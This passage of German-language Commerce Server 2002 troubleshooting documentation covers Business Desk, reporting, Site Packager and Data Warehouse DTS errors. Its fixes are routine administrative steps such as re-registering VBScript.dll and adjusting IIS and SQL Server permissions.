Wenn Sie bei der Verwendung von Commerce Server Business Desk die Meldung "Bibliothek ist nicht registriert" erhalten oder Ihnen in einer anderen Meldung mitgeteilt wird, dass ein Problem mit dem COM-Objekt regexp (Regular Expression) aufgetreten ist, müssen Sie möglicherweise die Registrierung der Datei Vbscript.dll aufheben und diese dann erneut registrieren. Die Datei befindet sich auf dem Server im Ordner \System32 unter Windows.

Diese Fehlermeldung kann auf jeder Seite auftreten, auf der sich Steuerelemente zur Textbearbeitung (EditField) befinden.

Lösung

Heben Sie die Registrierung der Datei VBScript.dll auf, und registrieren Sie sie neu. In den folgenden Anweisungen wird davon ausgegangen, dass Windows im Pfad C:\winnt installiert ist.

So heben Sie die Registrierung der Datei "VBScript.dll" auf

  • Geben Sie an der Eingabeaufforderung die folgende Zeichenfolge ein:

    regsvr32.exe c:/winnt/system32/VBScript.dll /u

So registrieren Sie die Datei "VBScript.dll" neu

  • Geben Sie an der Eingabeaufforderung die folgende Zeichenfolge ein:

    regsvr32.exe c:/winnt/system32/VBScript.dll


BusinessDesk: Benutzer mit Administratorrechten haben keinen Zugriff auf BusinessDesk-Daten

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: Benutzer mit Administratorrechten haben keinen Zugriff auf Business Desk-Daten

Wenn Sie unter Windows das Dienstkonto Jeder löschen oder dieser Gruppe Berechtigungen verweigern, werden Benutzer mit Administratorrechten von Commerce Server Business Desk gesperrt.

Lösung

Löschen Sie nicht die Benutzergruppe Jeder, und nehmen Sie keine Änderungen an den Standardberechtigungen vor. Anweisungen zum Ändern des Dienstkontos oder des Kennworts finden Sie unter Ändern des Dienstkontos oder des Kennworts.


BusinessDesk: Beim Zugriff auf BusinessDesk treten Laufzeitfehler auf

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: Beim Zugriff auf Business Desk treten Laufzeitfehler auf

Beim Zugriff auf Commerce Server Business Desk wird eine der folgenden Fehlermeldungen angezeigt:

  • "Laufzeitfehler."
  • "Möchten Sie debuggen?"

Lösung

Überprüfen Sie, ob der Stammordner für Business Desk so konfiguriert ist, dass die Webfreigabe möglich ist. Standardmäßig lässt Commerce Server bei diesen Ordnern die Webfreigabe zu. Gehen Sie vor, wie nachfolgend beschrieben, um für einen Business Desk-Ordner die Webfreigabe zu ermöglichen.

So ermöglichen Sie für einen Business Desk-Ordner die Webfreigabe

  1. Navigieren Sie im Windows-Explorer zu dem Ordner, der die Business Desk-Anwendung enthält. Standardmäßig befindet sich dieser Ordner im Pfad C:\Inetpub\wwwroot.
  2. Klicken Sie mit der rechten Maustaste auf den Ordnernamen (standardmäßig weist die in Commerce Server enthaltene leere Lösungssite diesem Ordner die Bezeichnung blankbizdesk zu), und klicken Sie dann auf Eigenschaften.
  3. Klicken Sie im Dialogfeld Eigenschaften auf die Registerkarte Webfreigabe.
  4. Klicken Sie auf der Registerkarte Webfreigabe auf Diesen Ordner freigeben.
  5. Wählen Sie im Feld Aliase den Eintrag blankbizdesk aus, und klicken Sie dann auf Eigenschaften bearbeiten.
  6. Wählen Sie im Dialogfeld Alias bearbeiten im Feld Zugriffsberechtigungen die Berechtigungen für diesen Alias entsprechend den folgenden Angaben aus:

    Lesen: Hiermit ermöglichen Sie Benutzern das Lesen von Dateien in dieser Site. Diese Option muss aktiviert sein.

    Schreiben: Hiermit ermöglichen Sie Benutzern das Schreiben von Dateien in diese Site.

    Skriptzugriff: Hiermit ermöglichen Sie Benutzern den Zugriff auf den Skriptquellcode.

    Verzeichnis durchsuchen: Hiermit ermöglichen Sie Benutzern das Durchsuchen des Ordnerinhalts.

  7. Wählen Sie im Feld Zugriffsberechtigungen die Anwendungsberechtigungen entsprechend den folgenden Angaben aus:

    Keine: Hiermit hindern Sie Benutzer daran, Anwendungsdateien in diesem Ordner auszuführen.

    Skripts: Hiermit ermöglichen Sie Benutzern das Ausführen von Skripts in diesem Ordner, unterbinden jedoch das Ausführen von Anwendungen.

    Ausführen (einschließlich Skripts): Hiermit ermöglichen Sie Benutzern das Ausführen von Skripts und Anwendungen in diesem Ordner.

  8. Klicken Sie auf OK. Überprüfen Sie im Dialogfeld Eigenschaften die Liste der Aliasnamen für die Freigabe, und klicken Sie dann erneut auf OK.


BusinessDesk: Internet Explorer kann die Internetsite nicht öffnen

Feedback zu dieser Seite senden Commerce Server 2002

Business Desk: Internet Explorer kann die Internetsite nicht öffnen

Führen Sie Business Desk im Debugmodus aus, und versuchen Sie, das Problem zu reproduzieren. Die einzige bedeutende HTML-Komponente (HTC) auf dieser Seite ist die ListSheet-HTC. Schalten Sie das Debugflag in ListSheet um. Dadurch erhalten Sie möglicherweise eine für die Problembehandlung nützliche ausführlichere Fehlermeldung.

Lösung

Melden Sie sich mit einem in Business Desk erstellten Benutzerkonto bei Business Desk an. Stellen Sie sicher, dass dieses Konto mit den erforderlichen Zugriffsberechtigungen ausgestattet ist. Fügen Sie der Administratorgruppe gegebenenfalls weitere Business Desk-Benutzer hinzu.


Berichte: Fehler im Bericht "Käuferverhalten bis zum Kauf"

Wenn Sie den Bericht Käuferverhalten bis zum Kauf ausführen und dabei eine Fehlermeldung ausgegeben wird, ist dies unter Umständen auf nicht aktivierte MSCSProfile-Tickets zurückzuführen. Das führt dazu, dass keine Daten zu registrierten Benutzern in das Data Warehouse importiert und zu dem Cube Käuferbesuche hinzugefügt werden. Für den Bericht Käuferverhalten bis zum Kauf stehen keine Daten zu registrierten Benutzern zur Verfügung.

Lösung

Zur Lösung stehen Ihnen drei Möglichkeiten zur Verfügung:

  1. Aktivieren Sie zunächst die MSCSProfile-Tickets, importieren Sie Benutzerdaten in das Data Warehouse, und führen Sie dann den DTS-Task (Data Transformation Services) zur Berichtsvorbereitung aus. Führen Sie den Bericht Käuferverhalten bis zum Kauf erneut aus.
  2. Fügen Sie benutzerdefinierte statische Berichte hinzu, die Angaben zu den Käuferaktivitäten nach registriertem Benutzer für anonyme registrierte Benutzer enthalten. Anonyme registrierte Benutzer weisen in der Tabelle dbo.RegisteredUser für Anmeldename einen NULL-Wert auf. Führen Sie diesen Bericht anstelle des Berichts Käuferverhalten bis zum Kauf aus.
  3. Löschen Sie aus den Cubes Warenkorb und Webverwendung die gemeinsame Dimension Registrierter Benutzer. Sie können nach Aktivierung der MSCSProfile-Tickets die gemeinsame Dimension Registrierter Benutzer wieder hinzufügen. Führen Sie den Bericht Käuferverhalten bis zum Kauf erneut aus. In dem Bericht werden keine Daten zu registrierten Benutzern angezeigt.


Berichte: Dynamische SQL-Berichte können nicht angezeigt werden

Nachdem Daten und Protokolldateien in das Data Warehouse importiert wurden und der DTS-Berichtsvorbereitungstask (Data Transformation Services) ausgeführt wurde, führen Sie einen dynamischen SQL Server-Bericht aus, woraufhin die Pivotsteuerung die folgende Fehlermeldung ausgibt:

"Die PivotTable "PivotTable" konnte keine Verbindung zur Datenquelle herstellen. Um weitere Informationen über die Datenquelle zu erhalten, wenden Sie sich bitte an den Ersteller der Datei. (0x80040e4d)."

Wenn Sie einen dynamischen Bericht anzeigen möchten, der auf eine SQL Server-Datenbank zugreift, für die Sie weder Lese- noch Schreibberechtigungen besitzen, können Sie den Bericht nicht anzeigen. Dieses Problem tritt bei dynamischen OLAP-Berichten nicht auf.

Die folgenden Berichte sind von diesem Problem betroffen:

  • Anzeigenreichweite und -häufigkeit pro Kampagne
  • Anzeigenreichweite und -häufigkeit pro Kampagnenartikel
  • Anzeigenreichweite und -häufigkeit pro Tag
  • Zusammenfassung der Kampagnenartikel
  • Verschiedene Benutzer und Besuche pro Woche
  • Verschiedene Benutzer pro Tag
  • Registrierte Benutzer nach Registrierungsdatum
  • Tage bis zur Registrierung
  • Benutzerregistrierungsrate
  • Besuche pro Browser, Version und Betriebssystem

Lösung

Sie müssen über Lese- und Schreibberechtigungen für die Datenbank verfügen, auf die die Berichte zugreifen. Es ist möglicherweise sinnvoll, unter Microsoft Windows 2000 eine Benutzergruppe mit Lese-/Schreibberechtigung für die SQL Server-Datenbank zu definieren. Dann können Sie Benutzer hinzufügen, die diese Berechtigungen benötigen.

So definieren Sie eine Benutzergruppe mit Lese-/Schreibberechtigung

  1. Erstellen Sie unter Windows 2000 eine neue Benutzergruppe. Fügen Sie dieser Gruppe beliebige Benutzer hinzu.
  2. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  3. Erweitern Sie die Stammknoten der Konsole auf den folgenden Pfad: Microsoft SQL Servers/<Servername>/Sicherheit/Benutzernamen.
  4. Klicken Sie mit der rechten Maustaste auf Benutzernamen, und klicken Sie auf Neuer Benutzername.
  5. Geben Sie im Dialogfeld SQL Server-Anmeldungseigenschaften - Neuer Benutzername auf der Registerkarte Allgemein im Feld Name den neuen Anmeldenamen für die Gruppe ein.

    Sie können auch auf Auslassungsschaltfläche klicken, um nach dem neuen Gruppennamen zu suchen.

  6. Wählen Sie SQL Server-Authentifizierung aus, und geben Sie ein Kennwort für die Gruppe ein.
  7. Klicken Sie auf Hinzufügen und anschließend auf OK.
  8. Wählen Sie auf der Registerkarte Datenbankzugriff die Option Zulassen für die Datenbank aus, für die die Berechtigungen erteilt werden sollen, z. B. Retail_dw.

    Der neue Anmeldename für die Gruppe wird in der Spalte Benutzer angezeigt.

  9. Aktivieren Sie im Feld Datenbankrollen die Kontrollkästchen Zulassen für die Datenbanken db_datareader und db_datawriter, und klicken Sie dann auf OK.

Sie können dieser Gruppe nun sich selbst und beliebige andere Benutzer für den Zugriff auf dynamische SQL Server-Berichte hinzufügen.


Berichte: Datumsangaben des statischen Berichts stimmen nicht mit Angaben in den Ländereinstellungen überein

Für die Datumsangabe im Header eines statischen Berichts und die Datumsangaben in den Daten selbst wird nicht das in den Ländereinstellungen angegebene Format bzw. Trennzeichen verwendet.

In dynamischen Berichten wird hingegen das in den Ländereinstellungen angegebene Format verwendet.

Lösung

Dies ist gewollt. Für Office Web Components gibt es keine Ländereigenschaften. Office Web Components verwenden die Eigenschaften, die vom Clientcomputer gelesen werden. Hierin liegt der Unterschied zu den anderen Business Desk-Bestandteilen, in denen die Ländereinstellungen festgelegt und dann auf die anderen Business Desk-Seiten, einschließlich der statischen Berichte, übertragen werden.


Problembehandlung bei SitePackager

Feedback zu dieser Seite senden Commerce Server 2002

Problembehandlung bei Site Packager

In diesem Abschnitt werden Probleme beschrieben, die bei der Arbeit mit Commerce Server Site Packager auftreten können, und mögliche Lösungen aufgezeigt.

Dieser Abschnitt beinhaltet folgende Themen:

  • Site Packager-Fehlermeldungen
  • "Laufzeitfehler –2147319779 (8002801d) Automatisierungsfehler, Bibliothek nicht registriert"
  • Der Katalogcache lässt sich nicht aktualisieren
  • Beim Entpacken des Data Warehouse wird der Fehler "Fehler bei der Anmeldung für den Benutzer" angezeigt
  • Entpacken einer Site auf einen Webserver ist nicht möglich
  • Beim Entpacken einer Site wird die Fehlermeldung "Angegebener Pfad ist nicht vorhanden" angezeigt
  • Beim Entpacken einer Site wird die Fehlermeldung "Fehler beim Aufrufen der Import-API…" angezeigt
  • Nach dem Entpacken einer Site wird die Fehlermeldung "Fehlendes Profil" angezeigt
  • Nach dem Entpacken einer Site werden die Datenbanken nicht angezeigt
  • Namensbeschränkungen für mit "pup.exe" erstellte IIS-Anwendungen.
  • Sitename darf keine DBCS-Zeichen in Data Warehouse-Konfiguration enthalten.


Site Packager-Fehlermeldungen

Dieser Abschnitt enthält Informationen zu einigen Fehlermeldungen, die bei der Verwendung von Site Packager im Ereignisprotokoll von Commerce Server Site Packager (Pup.log) angezeigt werden können.

"Fehler beim Suchen des Verzeichnisses für <Anwendung> <Fehlernummer>:<Fehlerbeschreibung>"

Site Packager hat bei der Suche nach den IIS 5.0-Metabasiseinträgen für eine Anwendung bzw. bei der Suche nach dem physischen Pfad einen Fehler festgestellt. Dieser Fehler tritt auf, wenn die Metabasis auf ein nicht vorhandenes Verzeichnis zeigt oder der Metabasiseintrag für die Anwendung gelöscht wurde. Dieser Fehler tritt nur beim Packen auf.

"Fehler beim Suchen des ISS-Objekts für <Anwendungsname>:<Fehlerbeschreibung>"

Site Packager hat beim Zugreifen auf die Einstellungen der Internetinformationsdienste (IIS) für <Anwendungsname> einen Fehler festgestellt. Entweder ist die Metabasis beschädigt, oder die Anwendung zeigt auf ein virtuelles Verzeichnis, das nicht vorhanden ist.

Überprüfen Sie, ob die Anwendungen im Paket auf ein virtuelles Verzeichnis zeigen, das tatsächlich vorhanden ist.

"Fehler beim Importieren des URLs für <Anwendungsname> <Fehlernummer>:<Fehlerbeschreibung>"

Site Packager hat beim Erstellen eines virtuellen Verzeichnisses für die Anwendung bzw. beim Kopieren von Anwendungsdateien in einen Ordner einen Fehler festgestellt.

Stellen Sie sicher, dass Sie über die zum Ändern der Einstellungen von Internetinformationsdienste (IIS) erforderlichen Administratorprivilegien verfügen.

"Fehler beim Exportieren von Objektdaten für <Ressourcenname> in Datei <Dateiname> <Fehlernummer>:<Fehlerbeschreibung>"

Site Packager hat beim Exportieren der Daten für eine Ressource bzw. Anwendung einen Fehler festgestellt. Entweder sind die Daten nicht vorhanden, oder es ist ein Automatisierungsfehler aufgetreten. Dieser Fehler tritt nur beim Packen auf.

"Fehler beim Importieren von Objektdaten für <Ressourcenname> aus Datei <Dateiname> <Fehlernummer>:<Fehlerbeschreibung>"

Site Packager hat beim Importieren der Daten für eine Ressource bzw. Anwendung einen Fehler festgestellt. Entweder sind die Daten beschädigt, oder es ist ein Automatisierungsfehler aufgetreten. Dieser Fehler tritt nur beim Entpacken auf.

"Fehler beim Erstellen einer Verweisressource <Verweisressource> für <Globale Ressource> <Fehlernummer>:<Fehlerbeschreibung>"

Site Packager hat beim Erstellen eines globalen Ressourcenzeigers für die benannte globale Ressource einen Fehler festgestellt.

Nachdem Sie das Problem lokalisiert und behoben haben, führen Sie Site Packager erneut im Modus Benutzerdefiniert aus, um die Ressource einer vorhandenen Anwendung hinzuzufügen.

Siehe auch

Informationen zu Site Packager


"Laufzeitfehler -2147319779 (8002801d) Automatisierungsfehler, Bibliothek nicht registriert"

Feedback zu dieser Seite senden Commerce Server 2002

"Laufzeitfehler –2147319779 (8002801d) Automatisierungsfehler, Bibliothek nicht registriert"

Wenn Sie die Retail-Lösungssite entpacken, wird die folgende Fehlermeldung ausgegeben:

"Laufzeitfehler –2147319779 (8002801d)
Automatisierungsfehler
Bibliothek nicht registriert"

Lösung

Dies ist kein Commerce Server-internes Problem. Für den Computer ist eine Neuinstallation erforderlich, da einige der primären DLLs nicht registriert sind.

Der Fehler wird von VBScript.RegExp in der Datei VBScript.dll erzeugt. Die Datei VBScript.dll hängt nur von System-DLLs und der Datei Msvcrt.dll ab.


Der Katalogcache lässt sich nicht aktualisieren

Wenn Sie in Business Desk im Katalog-Editor auf Aktualisieren klicken, wird u. U. die folgende Fehlermeldung angezeigt:

"Fehler beim Aktualisieren des Katalogcaches für <BR><BR><B>%1</B>."

Lösung

Wenn die Site von Commerce Server 2000 migriert wurde, kopieren Sie die aktualisierte Datei BDRefresh.asp von der aktualisierten Retail-Site in Commerce Server 2002.

Darüber hinaus sind die Caches möglicherweise nicht korrekt konfiguriert. Vergleichen Sie die Benennung und die Konfiguration der Caches mit derjenigen, die in der Retail-Lösungssite verwendet wird.


Beim Entpacken des DataWarehouse wird der Fehler "Fehler bei der Anmeldung für den Benutzer" angezeigt

Feedback zu dieser Seite senden Commerce Server 2002

Beim Entpacken des Data Warehouse wird der Fehler "Fehler bei der Anmeldung für den Benutzer" angezeigt

Wenn Sie das Data Warehouse im Modus Benutzerdefiniert unter Verwendung von Commerce Server Site Packager entpacken, wird die folgende Fehlermeldung angezeigt: "Fehler bei der Anmeldung für den Benutzer <Benutzername>." Durch Klicken auf OK wird das Dialogfeld Eigenschaften von Data Warehouse angezeigt.

Lösung

So fahren Sie mit dem Entpacken fort

  • Löschen Sie im Dialogfeld Eigenschaften von Data Warehouse im Feld Kennwort die Sternchen (**), geben Sie Ihr Kennwort ein, und klicken Sie dann auf OK.

    Füllen Sie das Feld nicht aus, wenn Sie kein Kennwort einrichten möchten.

Commerce Server Site Packager beendet nun das Entpacken der Site.


Entpacken einer Site auf einen Webserver ist nicht möglich

Commerce Server wird auf Computer A und das Data Warehouse auf Computer B installiert, aber die Site kann nicht auf Computer A entpackt werden.

Lösung

Dieses Problem tritt dann auf, wenn der Datenbankserver und der Webserver keinen gemeinsamen Sicherheitskontext verwenden. Um das Problem zu lösen, führen Sie auf dem Datenbankserver den folgenden Befehl aus:

net use \\<Web_server_name> /u:<local_computer_name>\administrator *

Geben Sie das SQL Server-Kennwort ein, wenn Sie dazu aufgefordert werden.

Des Weiteren sollten Sie die Anzahl der auf dem Computer zulässigen SQL-Verbindungen überprüfen. Bei der Installation von Microsoft SQL Server wird die Anzahl der SQL Server-Verbindungen standardmäßig auf "Null" (0) gesetzt. Dies bedeutet, dass eine beliebige Anzahl an Verbindungen eingerichtet werden kann. Wenn Sie die Anzahl der Verbindungen ändern möchten, ordnen Sie jedem Computer in der Commerce Server-Installation vier Verbindungen zu.

Hinweis

  • Es empfiehlt sich, zum Entpacken einer Site mindestens 20 Verbindungen zur Verfügung zu haben.

So ermitteln Sie die Anzahl der derzeit verwendeten SQL Server-Verbindungen

So legen Sie SQL Server-Verbindungen fest

So ermitteln Sie die Anzahl der derzeit verwendeten SQL Server-Verbindungen

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Query Analyzer.
  2. Geben Sie in dem daraufhin geöffneten Fenster die folgende Abfrage ein:
    select * from master..sysprocesses where hostname <>''

    Bei '' handelt es sich um zwei einfache Anführungszeichen.

  3. Klicken Sie auf der Symbolleiste auf die Schaltfläche Abfrage ausführen.

Query Analyzer zeigt nun die Anzahl der derzeit verwendeten SQL Server-Verbindungen an. Die Anzahl der Zeilen entspricht der Anzahl der SQL Server-Verbindungen.

So legen Sie SQL Server-Verbindungen fest

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Klicken Sie mit der rechten Maustaste auf den SQL Server-Computer, dem Verbindungen hinzugefügt werden sollen, klicken Sie auf Eigenschaften und dann auf die Registerkarte Verbindungen.
  3. Geben Sie auf der Registerkarte Verbindungen im Feld Maximum der gleichzeitigen Benutzerverbindungen (0 = unbegrenzt) die Anzahl der benötigten Verbindungen ein, und klicken Sie dann auf OK.


Beim Entpacken einer Site wird die Fehlermeldung "Angegebener Pfad ist nicht vorhanden" angezeigt

Beim Versuch, eine Site zu entpacken, wird die folgende Fehlermeldung ausgegeben:

"Angegebener Pfad ist nicht vorhanden. Überprüfen Sie den Pfad, und versuchen Sie es dann erneut."

Dieser Fehler kann auftreten, wenn Sie versuchen, eine Site in einen Ordner zu entpacken, der Sonderzeichen enthält. So entpackt Commerce Server Site Packager z. B. eine Site nicht in einen Ordner mit der Bezeichnung My commerce $$%.

Auch wenn es möglich ist, Commerce Server in einem Ordner mit Sonderzeichen zu installieren, kann in einen solchen Ordner keine Site entpackt werden.

Lösung

Kopieren Sie das Paket in ein anderes Verzeichnis, und entpacken Sie es dann.


Beim Entpacken einer Site wird die Meldung "Fehler beim Aufrufen der Import-API…" angezeigt

Beim Entpacken einer Site wird die folgende Fehlermeldung ausgegeben:

"Fehler beim Aufrufen der Import-API auf Commerce.CatalogPUP für Produktkatalog 80040E14:Quelle:Microsoft OLE DB Provider für SQL Server Beschreibung:Der Volltextdienst (Microsoft Search) ist nicht verfügbar. Der Systemadministrator muss diesen Dienst starten."

Dieser Fehler tritt auf, wenn der Microsoft Search-Dienst nicht aktiv ist, wenn Commerce Server Site Packager das Skript zur Erstellung von Katalogen ausführt.

Lösung

Starten Sie den Microsoft Search-Dienst. Dann löschen Sie entweder die Site und entpacken sie erneut, oder Sie löschen und entpacken die Katalogressource.

So starten Sie den Microsoft Search-Dienst

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Dienste.
  2. Wählen Sie im Dialogfeld Dienste die Option Microsoft Search aus.
  3. Klicken Sie mit der rechten Maustaste auf Microsoft Search, und klicken Sie dann auf Starten.


Nach dem Entpacken einer Site wird die Fehlermeldung "Fehlendes Profil" angezeigt

Diese Fehlermeldung bezieht sich auf die Supplier-Lösungssite. Sie wird angezeigt, wenn der Profildienst einen Benutzer nicht im Verzeichnisdienst Active Directory lokalisieren kann.

"Der Benutzername ist möglicherweise nicht in den folgenden Active Directory-Containern enthalten: OU=MSCS_40_Root und OU=Sitename."

Lösung

Welcher Lösungsweg der beste ist, hängt vom Zeitpunkt des Erhalts der Fehlermeldung ab.

Melden Sie sich bei der Supplier-Site an. Verwenden Sie dazu einen Namen, der unter Verwendung von Laufzeitkomponenten von Microsoft Commerce Server 2002 erstellt wurde.

Wenn Sie diese Fehlermeldung unmittelbar nach dem Entpacken der Site erhalten

In diesem Fall tritt der Fehler auf, da die Site standardmäßig die integrierte Windows-Authentifizierung verwendet und der Benutzer mit einem Anmeldenamen operiert, der nicht unter Verwendung von Commerce Server Business Desk bzw. des Profildienstes erstellt wurde.

Erstellen Sie mithilfe von Business Desk ein Benutzerkonto, und melden Sie sich dann beim Server als der neu eingerichtete Benutzer an. Sie sollten nun in der Lage sein, auf die Supplier-Site zuzugreifen.

Eine andere Möglichkeit besteht darin, für die Supplier-Site in Internetinformationsdienste (IIS) 5.0 die Standardauthentifizierung zu aktivieren. Melden Sie sich bei der Site an. Geben Sie den Benutzernamen unbedingt in einem der folgenden Formate ein:

  • <Domänenname>\<Benutzername>
  • <Benutzername>@<Vollständig_gekennzeichneter_Domänenname>

Wenn Sie diese (oder eine ähnliche) Fehlermeldung während der Verwendung von "AuthFilter" im Windows-Authentifizierungsmodus erhalten

Überprüfen Sie, ob die Methode GetProfileByKey auf der Anmeldeseite ordnungsgemäß funktioniert. Wenn aufgrund dieser Methode eine Fehlermeldung in Bezug auf einen nicht autorisierten Authentifizierungsmodus angezeigt wird, hat ein anonymer Benutzer keine Berechtigung, das Benutzerprofil zu erhalten bzw. zu lesen. Weitere Informationen finden Sie unter GetProfileByKey (englisches Thema).

Überprüfen Sie in diesem Fall, ob der Benutzer über ein Windows-Benutzerkonto verfügt, das mit der Berechtigung zum Erhalt und zum Lesen der Eigenschaften des Benutzerprofils aus Active Directory ausgestattet ist.

Alternativ können Sie auch überprüfen, ob Sie auf die Site ohne den ISAPI-Filter (Internet Server API) AuthFilter zugreifen können.

So greifen Sie ohne "AuthFilter" auf die Site zu

  1. Entfernen Sie den Filter mit dem Internetdienste-Manager.
  2. Legen Sie für die Supplier-Site den Sicherheitsmodus nur auf Standardauthentifizierung fest, und setzen Sie dann IIS zurück.
  3. Versuchen Sie nun, mit den korrekten Anmeldeinformationen auf die Site zuzugreifen.

Sollte dies nicht funktionieren, stellen Sie sicher, dass das Benutzerkonto unter Verwendung von Business Desk erstellt wurde und aktiviert ist.


Nach dem Entpacken einer Site werden die Datenbanken nicht angezeigt

Wenn Sie eine Site auf Computer A entpacken und die Datenbanken für Ressourcen auf Computer B erstellen, nachdem die Site entpackt wurde, werden die neuen Datenbanken auf Computer B nicht angezeigt.

Lösung

Lassen Sie ein paar Minuten verstreichen. Site Packager wird auf Computer A ausgeführt. Wenn nun das Netzwerk überlastet ist, kann es zu Verzögerungen bei der Erstellung der Ressourcen kommen. Sie können auch Commerce Server Site Packager erneut ausführen, um sicherzustellen, dass die Datenbanken auf Computer B und nicht auf Computer A erstellt wurden.


Namensbeschränkungen für mit "Pup.exe" erstellte IIS-Anwendungen

Wenn Sie zum Entpacken der Site den benutzerdefinierten Pfad in Site Packager verwenden, bestehen für die IIS-Anwendungen (Internetinformationsdienste) Namensbeschränkungen. Sie dürfen keinen Namen verwenden, der dem programmgesteuerten Referenznamen aller bekannten Ressourcen oder einer beliebigen anderen im Paket befindlichen Ressource entspricht.

Lösung

Die folgende Liste enthält die bekannten Ressourcen, die blockiert sind:

  • Anwendungsstandardkonfiguration
  • Transaktionen
  • Transaktionskonfiguration
  • Kampagnen
  • Produktkatalog
  • Direktsendung
  • Vorhersagedienst
  • Site-Data Warehouse
  • Globales Data Warehouse
  • BDSecurity
  • Biz Data-Dienst
  • Site-CS-Authentifizierung

Neben diesen Ressourcen, die im Code des Produkts festgelegt sind, sind sämtliche Ressourcen, die im vom Benutzer entpackten Paket enthalten sind, ebenfalls blockiert, einschließlich einiger Namen von Drittanbietern. Leider ist es nicht möglich, diese Namen im voraus zu bestimmen.


Sitename darf keine DBCS-Zeichen in DataWarehouse-Konfiguration enthalten

Feedback zu dieser Seite senden Commerce Server 2002

Sitename darf keine DBCS-Zeichen in Data Warehouse-Konfiguration enthalten

Wenn Sie eine neue Site entpacken und einen Sitenamen bereitstellen, der einen Doppelbyte-Zeichensatz (Double-Byte Character Set, DBCS) in Data Warehouse-Konfiguration (DWC) enthält, wird eine Fehlermeldung ausgegeben.

Lösung

Verwenden Sie keine DBCS-Zeichen für einen Sitenamen. Data Warehouse-Konfiguration (DWC) unterstützt diese nicht.


Problembehandlung beim DataWarehouse-Importvorgang

Feedback zu dieser Seite senden Commerce Server 2002

Problembehandlung beim Data Warehouse-Importvorgang

In diesem Abschnitt werden Probleme beschrieben, die bei der Verwendung von Tasks in Commerce Server Data Transformation Services (DTS) zum Importieren von Dateien in Data Warehouse auftreten können, sowie mögliche Lösungen aufgezeigt.

Dieser Abschnitt beinhaltet folgende Themen:

  • DTS-Task: Gespeicherte DTS-Pakete funktionieren nicht nach Ausführen einer Aktualisierung auf eine neue Version von Commerce Server
  • DTS-Task: Berichtsvorbereitungstask schlägt fehl
  • DTS-Task: Berichtsvorbereitungstask gibt "Fehler: Cube vollständig aufbereiten" und "Fehler bei der Ausführung" zurück
  • DTS-Task: Berichtsvorbereitungstask gibt Fehler "Quelldaten enthalten keine Zeilen" zurück
  • DTS-Task: Terminaldienste und Berichtsvorbereitungstask sind nicht kompatibel
  • Anzahl der Besuche weicht im Protokolldateiimport ab


DTS-Task: Gespeicherte DTS-Pakete funktionieren nicht nach Ausführen einer Aktualisierung auf eine neue Version von CommerceServer

Feedback zu dieser Seite senden Commerce Server 2002

DTS-Task: Gespeicherte DTS-Pakete funktionieren nicht nach Ausführen einer Aktualisierung auf eine neue Version von Commerce Server

Wenn Sie DTS-Pakete (Data Transmission Services) in Commerce Server 2000 erstellen und anschließend eine Aktualisierung auf Commerce Server 2002 ausführen, funktionieren die DTS-Pakete nicht, da die Programm-IDs geändert wurden.

Lösung

Erstellen Sie neue DTS-Pakete.


DTS-Task: Berichtsvorbereitungstask schlägt fehl

Bei der Installation des Data Warehouse auf einem Computer, auf dem Software ausgeführt wird, mit der das System in Echtzeit gescannt wird (z. B. Software zur Virenerkennung), ist möglicherweise keine erfolgreiche Ausführung des DTS-Berichtsvorbereitungstasks (Data Transformation Services) möglich.

Lösung

Um dieses Problem zu beheben, beenden Sie mit dem Aufgaben-Manager von Windows 2000 den Prozess, in dem die Scannersoftware ausgeführt wird.


DTS-Task: Berichtsvorbereitungstask gibt "Fehler: Cube vollständig aufbereiten" und "Fehler bei der Ausführung" zurück

Wenn Sie den DTS-Berichtsvorbereitungstask ausführen, werden die folgenden Meldungen angezeigt:

     Source: CSDataWareHouse
     Category: None
     Event ID: 45057
     Description: Report Preparation DTS task : Error Cube Process Full :
     Buyer Visits : Processing error [Source data contains no rows] 'Buyer
     Visits^BuyerType'S'

Und anschließend:

     Source: CSDataWareHouse
     Category: None
     Event ID: 45060
     Description: Report Preparation DTS task : failed to complete

Diese Meldungen werden in zwei Fällen angezeigt:

  • Es liegen keine zu verarbeitenden Daten vor.
  • Die Dimensionen oder Cubes wurden nicht verarbeitet.

Lösung

Sie müssen feststellen, ob in Data Warehouse eigentlich Daten für die Verarbeitung hätten vorhanden sein müssen. Führen Sie folgende Schritte aus:

  • Wenn keine Daten für die Verarbeitung durch den DTS-Berichtsvorbereitungstask importiert wurden, führen Sie zunächst den entsprechenden DTS-Importtask und anschließend den DTS-Berichtsvorbereitungstask aus.
  • Wenn Daten importiert wurden, müssen Sie das Ereignisprotokoll und/oder die CubeProcInfo-/DimProcInfo-Tabelle überprüfen, um festzustellen, ob Dimensionen oder Cubes bei der Verarbeitung fehlgeschlagen sind.


DTS-Task: Berichtsvorbereitungstask gibt Fehler "Quelldaten enthalten keine Zeilen" zurück

Durch den Berichtsvorbereitungstask werden bei der Verarbeitung von OLAP-Dimensionen und -Cubes Fehler gemeldet, falls die zum Ausfüllen dieser Objekte erforderlichen Daten nicht in das Data Warehouse importiert wurden. Die Fehlermeldung wird in folgendem Format angezeigt:

Processing error [Source data contains no rows] <object name>

Lösung

Wenn Sie nur eine Teilmenge von Daten in das Data Warehouse importieren (beispielsweise wird der Kampagnendatenimport-Task nicht ausgeführt), empfiehlt es sich, die Verarbeitung von Objekten ohne Daten zu deaktivieren. Dadurch werden keine Fehlermeldungen des Typs "Quelldaten enthalten keine Zeilen" mehr angezeigt.

Um die Verarbeitung von Analysis Services-Objekten zu deaktivieren, legen Sie für die Cubes und Dimensionen, die nicht verarbeitet werden sollen, den Wert für ProcessingEnabled in den Tabellen CubeProcInfo und DimProcInfo auf 0 fest.


DTS-Task: Terminaldienste und Berichtsvorbereitungstask sind nicht kompatibel

Sie müssen den DTS-Berichtsvorbereitungstask (Data Transformation Services) direkt auf dem Server ausführen. Führen Sie den DTS-Berichtsvorbereitungstask nicht von einem Paket aus, das von den Terminaldiensten ausgeführt wird. Dies führt zu einem Fehler in DTS.

Diese Lösung gilt auch für das Entpacken einer Site. Wenn Sie das Data Warehouse entpacken, wird möglicherweise die OLAP-Datenbank nicht ordnungsgemäß erstellt.


Anzahl der Besuche weicht im Protokolldateiimport ab
